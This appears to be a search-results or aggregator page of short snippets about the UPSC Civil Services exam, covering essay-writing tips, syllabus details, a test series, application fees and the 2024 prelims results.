UPSC Essay Paper Facts. Before delving into the strategy for attempting Essay in the UPSC Exam, let us get some facts about the UPSC Mains Essay correct - The UPSC Mains Essay paper consists of a total of 8 Essays out of which two essays need to be attempted within 3 hours in the 1000-1200 word limit each.
UPSC Essays Simplified: How to write an introduction?
Today, we will focus on Step 4, the first stage of writing stage for UPSC Essays. About our Expert: Ravi Kapoor IRS (R), has now ditched his coveted rank of deputy commissioner and has offered free quality mentorship to UPSC aspirants, drawing upon his ten years of experience to create customised and productive curriculum.Through a free mentorship programme, he integrates tailored educational ...
How to Write Essay Introductions in UPSC Exam
Let us explore these fundamental questions. 5. Begin with a Quote (or a Poem) — A famous poem or quote is a time-tested way to start the essay. After you write the quote, the rest of the introduction must be an elaboration of the quote, explaining its significance and relevance to the question.
upsc
upsclife2021 on July 5, 2024: ""Master the art of essay writing for UPSC with these essential tips: understand the topic, structure effectively, craft a compelling introduction, showcase depth and balance, write with clarity, ensure logical flow, and practice regularly. Success starts with well-written essays!" #UPSCPreparation #EssayWritingTips #UPSC2024 #CivilServicesExam #UPSCMains # ...
Essay Syllabus
The UPSC Essay paper is an important part of the Civil Services Examination. As a part of the UPSC essay syllabus, candidates need to write two essays for the examination. The essays are supposed to be on topics of national and international importance, relevant social, economic, and political issues, cultural, historical and geographical ...
UPSC EPFO Personal Assistant Syllabus 2024: PDF Download For Important
UPSC EPFO PA Syllabus 2024: The UPSC EPFO personal assistant syllabus is divided into four subjects, i.e., English language, general awareness, quantitative aptitude and reasoning & computer aptitude.
UPSC Year-long Mains Test Series(GS & Essay) 2025| Insights IAS
The papers will be categorized subject-wise. 3rd Round is Breakthrough Round based on GS-Papers. 4th Round is Simulation round where the entire paper mimics UPSC Papers and prepares you to tackle any kind of question. 2. Time Gap Between tests in Essential round is kept at 5 days for Mini-tests ad 8 days for FLTs. This will provide you ample ...
UPSC CSE 2024 DAF-1 Released For Civil Service Mains Exam ...
The UPSC CSE Main Examination application fee is Rs 200. Candidates who are female and who fall under the SC, ST, and PwBD categories are not required to pay the application fee. Talking about the UPSC mains exam, nine papers made up of standard essay-style questions from the topics indicated in the announcement will make up the written test.
Essay Previous Year Papers
UPSC IFoS Prelims Result 2024 UPSC CSE Prelims Result 2024 UPSC Prelims 2024 CSAT (Answer Key) Revised Answer Key UPSC Prelims 2024 GS 1 UPSC Prelims 2024 CSAT UPSC Prelims 2024 GS 1 Mains Test Series scheduled to begin from 9th June, 2024 has been postponed as UPSC CSE Preliminary exam was moved forward due to Lok Sabha elections of 2024. UPSC Calendar 2025 Final Result - Civil Services ...
UPSC Prelims Result 2024 out Live: CSE Prelims result declared, link
The result have been shared with candidates on upsc.gov.in. The question papers of the test was released earlier. UPSC Civils Services Prelims results 2024 declared, direct link ...
UPSC Prelims Results 2024 declared: Direct link and steps to check
The UPSC Civil Services prelims exam consisted of two papers: General Studies (Paper I): Included topics such as Indian polity, Geography, History, Indian economy, Science and Technology ...